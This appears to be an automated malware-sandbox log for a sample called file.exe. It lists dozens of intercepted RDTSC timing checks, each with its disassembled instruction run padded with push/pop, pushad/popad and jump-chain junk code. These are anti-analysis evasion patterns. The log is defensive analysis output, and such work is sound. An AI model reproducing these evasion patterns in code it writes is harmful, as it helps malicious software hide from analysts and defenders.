Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90845 second address: A90852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jnl 00007F29B51F62C6h 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90852 second address: A90880 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F29B559C4C6h 0x00000009 jmp 00007F29B559C4C4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A909CF second address: A90A0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62D5h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F29B51F62CAh 0x00000014 jmp 00007F29B51F62D3h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90B60 second address: A90B64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90C93 second address: A90CBF instructions: 0x00000000 rdtsc 0x00000002 jne 00007F29B51F62C6h 0x00000008 js 00007F29B51F62C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F29B51F62D7h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A90CBF second address: A90CC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A91A71 second address: A91A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F29B51F62C6h 0x0000000a pushad 0x0000000b popad 0x0000000c jno 00007F29B51F62C6h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8F9D3 second address: A8F9E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F29B559C4BBh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98C60 second address: A98C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98C6C second address: A98C8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 jmp 00007F29B559C4C5h 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98C8B second address: A98C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A98E40 second address: A98E4B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007F29B559C4B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA42E5 second address: AA42F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F29B51F62C6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA444B second address: AA444F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA444F second address: AA4455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA4455 second address: AA445A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6BE1 second address: AA6BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA852F second address: AA8538 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB153 second address: AAB168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F29B51F62C6h 0x0000000f jno 00007F29B51F62C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAB168 second address: AAB179 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jl 00007F29B559C4B6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAAA9 second address: AAAAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAAAF second address: AAAAD3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F29B559C4BCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAAD3 second address: AAAB02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c popad 0x0000000d je 00007F29B51F62ECh 0x00000013 pushad 0x00000014 push edi 0x00000015 pop edi 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F29B51F62D2h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push edi 0x00000021 pop edi 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAC3D second address: AAAC41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAAC41 second address: AAACA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jne 00007F29B51F62C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F29B51F62CEh 0x00000011 jne 00007F29B51F62D9h 0x00000017 push esi 0x00000018 jo 00007F29B51F62C6h 0x0000001e jmp 00007F29B51F62D3h 0x00000023 pop esi 0x00000024 popad 0x00000025 jl 00007F29B51F6301h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f jmp 00007F29B51F62CFh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB6D70 second address: AB6D93 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F29B559C4CDh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB6D93 second address: AB6DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B51F62D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CF975 second address: 9CF9A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C5h 0x00000007 jc 00007F29B559C4CBh 0x0000000d jmp 00007F29B559C4BFh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2E03 second address: AC2E2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F29B51F62CDh 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F29B51F62CBh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC2E2A second address: AC2E54 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F29B559C4C2h 0x00000008 jnl 00007F29B559C4B6h 0x0000000e je 00007F29B559C4B6h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F29B559C4C2h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC33D1 second address: AC33D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC33D5 second address: AC33F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F29B559C4C4h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC33F2 second address: AC340D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B51F62D6h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC340D second address: AC3415 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4013 second address: AC402A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 jmp 00007F29B51F62CDh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC402A second address: AC403A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 je 00007F29B559C4B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC79F6 second address: AC7A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F29B51F62C6h 0x0000000a ja 00007F29B51F62C6h 0x00000010 popad 0x00000011 jbe 00007F29B51F62C8h 0x00000017 push edi 0x00000018 pop edi 0x00000019 js 00007F29B51F62D2h 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC7A17 second address: AC7A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC7B7C second address: AC7B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC7B82 second address: AC7BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 jmp 00007F29B559C4BAh 0x0000000a pop edi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F29B559C4C9h 0x00000013 push eax 0x00000014 pop eax 0x00000015 popad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pushad 0x0000001b popad 0x0000001c pop edi 0x0000001d pushad 0x0000001e jmp 00007F29B559C4C3h 0x00000023 pushad 0x00000024 popad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC7BCF second address: AC7BD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD58FA second address: AD5903 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5903 second address: AD590D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB6FE second address: 9DB702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF260D second address: AF2613 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2613 second address: AF2619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF28F7 second address: AF28FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF28FC second address: AF2902 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2BA2 second address: AF2BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F29B51F62C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2BAC second address: AF2BC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F29B559C4C5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2BC5 second address: AF2BD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2EAF second address: AF2EF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jg 00007F29B559C4CFh 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007F29B559C4B6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2EF5 second address: AF2F1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62D1h 0x00000007 jmp 00007F29B51F62D0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2F1A second address: AF2F20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF2F20 second address: AF2F2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F29B51F62C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3072 second address: AF3078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3078 second address: AF307E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF307E second address: AF308B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F29B559C4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF308B second address: AF309E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jnp 00007F29B51F62F6h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF309E second address: AF30A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF30A2 second address: AF30B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B51F62D2h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF30B8 second address: AF30C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF31DB second address: AF31F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B51F62D9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF31F8 second address: AF3217 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F29B559C4C7h 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3217 second address: AF322C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F29B51F62CFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF322C second address: AF3230 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3230 second address: AF3241 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007F29B51F62C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF3241 second address: AF326D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F29B559C4B6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 jmp 00007F29B559C4C8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF33F6 second address: AF33FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF33FA second address: AF3405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7B93 second address: AF7BD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jmp 00007F29B51F62D0h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push ecx 0x00000012 push esi 0x00000013 jnl 00007F29B51F62C6h 0x00000019 pop esi 0x0000001a pop ecx 0x0000001b nop 0x0000001c jnl 00007F29B51F62C9h 0x00000022 push 00000004h 0x00000024 mov edx, 25C14631h 0x00000029 mov dl, 4Bh 0x0000002b push 4E31E800h 0x00000030 push ebx 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF7E43 second address: AF7E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9107 second address: AF9114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 js 00007F29B51F62C6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AF9114 second address: AF9137 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F29B559C4C2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCAE9 second address: AFCB01 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jnp 00007F29B51F62C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jnl 00007F29B51F62CCh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCB01 second address: AFCB0C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnc 00007F29B559C4B6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCB0C second address: AFCB18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCB18 second address: AFCB39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F29B559C4C8h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCB39 second address: AFCB3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCB3D second address: AFCB43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCB43 second address: AFCB62 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F29B51F62D3h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AFCB62 second address: AFCB66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD04E second address: 9DD07F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 ja 00007F29B51F62C8h 0x0000000b push eax 0x0000000c jmp 00007F29B51F62CCh 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jnc 00007F29B51F62C6h 0x0000001e pushad 0x0000001f popad 0x00000020 jg 00007F29B51F62C6h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD07F second address: 9DD090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007F29B559C4BCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DD090 second address: 9DD0B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F29B51F62D0h 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007F29B51F62C6h 0x00000010 popad 0x00000011 pushad 0x00000012 jg 00007F29B51F62C6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140613 second address: 5140619 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140619 second address: 514061D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140671 second address: 5140693 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov cx, dx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140693 second address: 5140699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140699 second address: 51406F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F29B559C4C7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F29B559C4C4h 0x00000014 sbb ax, EE08h 0x00000019 jmp 00007F29B559C4BBh 0x0000001e popfd 0x0000001f mov ch, 2Ch 0x00000021 popad 0x00000022 pop ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007F29B559C4BDh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51406F4 second address: 51406F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51406F8 second address: 51406FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19716 second address: A19720 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F29B51F62C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
